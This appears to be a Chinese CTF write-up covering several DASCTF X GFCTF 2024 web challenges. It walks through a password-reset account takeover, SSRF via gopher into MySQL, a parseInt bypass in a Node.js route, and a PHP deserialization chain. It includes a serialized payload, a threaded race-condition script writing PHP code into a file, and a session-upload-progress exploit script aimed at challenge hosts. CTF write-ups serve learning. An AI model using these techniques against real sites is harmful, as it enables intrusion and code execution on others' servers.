【Web】DASCTF X GFCTF 2024｜四月开启第一局题解-编程知识

【Web】DASCTF X GFCTF 2024｜四月开启第一局题解

EasySignin

cool_index

web1234

web4打破防了🤮，应该很接近解出来了，感兴趣的师傅续上吧

EasySignin

先随便注册个账号登录，然后拿bp抓包改密码(username改成admin)

然后admin / 1234567登录

康好康的图片功能可以打SSRF，不能直接读本地文件，比如/etc/paswd /proc/1/environ

gopher协议探测出3306端口，可以打mysql

直接gopherus来打

生成的payload _ 后的部分要url二次编码

base64解码拿到flag

cool_index

拿到附件，主要看这段逻辑

app.post("/article", (req, res) => {const token = req.cookies.token;if (token) {try {const decoded = jwt.verify(token, JWT_SECRET);let index = req.body.index;if (req.body.index < 0) {return res.status(400).json({ message: "你知道我要说什么" });}if (decoded.subscription !== "premium" && index >= 7) {return res.status(403).json({ message: "订阅高级会员以解锁" });}index = parseInt(index);if (Number.isNaN(index) || index > articles.length - 1) {return res.status(400).json({ message: "你知道我要说什么" });}return res.json(articles[index]);} catch (error) {res.clearCookie("token");return res.status(403).json({ message: "重新登录罢" });}} else {return res.status(403).json({ message: "未登录" });}
});

注意到index是在中间才进行parseInt处理的，所以可以进行一个特性的利用

可以自行对照一下各种判断，最后会输出第八篇文章，索引为7

web1234

登录很容易，就是附件里resetconf里的信息进行一波处理

然后?uname=admin&passwd=1q2w3e登录

大体思路就是先反序列化给record.php写入<?php error_reporting(0);

当record.php非空后，追加的内容就可以提交表单写入，也就是可以写马

在upload和fileput中间的那个时间访问index执行反序列化，可以打条件竞争

链子很简单

Admin#__Destruct -> Config.showconf() -> Log#__toString

反序列化exp：

<?phpclass Admin{public $Config;}class Config{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;}class Log{public $data;}$a=new Admin();
$b=new Config();
$c=new Log();
$a->Config=$b;
$b->show=$c;
$c->data='log_start()';
echo serialize($a);

删去最后一个括号绕过__wakeup

把序列化结果放进本地config文件中

写脚本，跑条件竞争

import requests
import threadingurl1 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e'def upload():while True:filename = "Config"with open('config', "rb") as f:files = {"file": (filename, f.read())}data = {"m": "edit","nickname": "<?php phpinfo();?>","sex": "1","mail": "1","telnum": "1",}response = requests.post(url=url1, files=files,data=data)print(response.status_code)url2 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81'
url3 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/record.php'def read():while True:res2 = requests.get(url2)print(res2.status_code)res3 = requests.get(url3)if "php" in res3.text:print('success')# 创建多个上传线程
upload_threads = [threading.Thread(target=upload) for _ in range(30)]# 创建多个读取线程
read_threads = [threading.Thread(target=read) for _ in range(30)]# 启动上传线程
for t in upload_threads:t.start()# 启动读取线程
for t in read_threads:t.start()

没跑出来，傻眼

后来题目给了hint让打session反序列化(不是我寻思你附件也妹给session_start啊)

先backdoor来执行phpinfo()

用backdoor来执行session_start()

exp:

import requestsp1 = '''a|O:5:\"Admin\":1:{s:6:\"Config\";O:6:\"Config\":8:{s:5:\"uname\";N;s:6:\"passwd\";N;s:6:\"avatar\";N;s:8:\"nickname\";N;s:3:\"sex\";N;s:4:\"mail\";N;s:6:\"telnum\";N;s:4:\"show\";O:3:\"Log\":1:{s:4:\"data\";s:11:\"log_start()\";}}'''
url = 'http://247d7106-e189-4fd3-9c50-9892158f1d47.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e&backdoor=session_start'
session = requests.session()
file = {'file': (p1, 'aaa')}
data = {"PHP_SESSION_UPLOAD_PROGRESS": 123}
cookie = {'PHPSESSID': 'd04a5edf34d9c3058ba9ed1cee70b5b2'}
resp = session.post(url=url, data=data, files=file, cookies=cookie, proxies={'http': '127.0.0.1:8080'})
print(resp.text)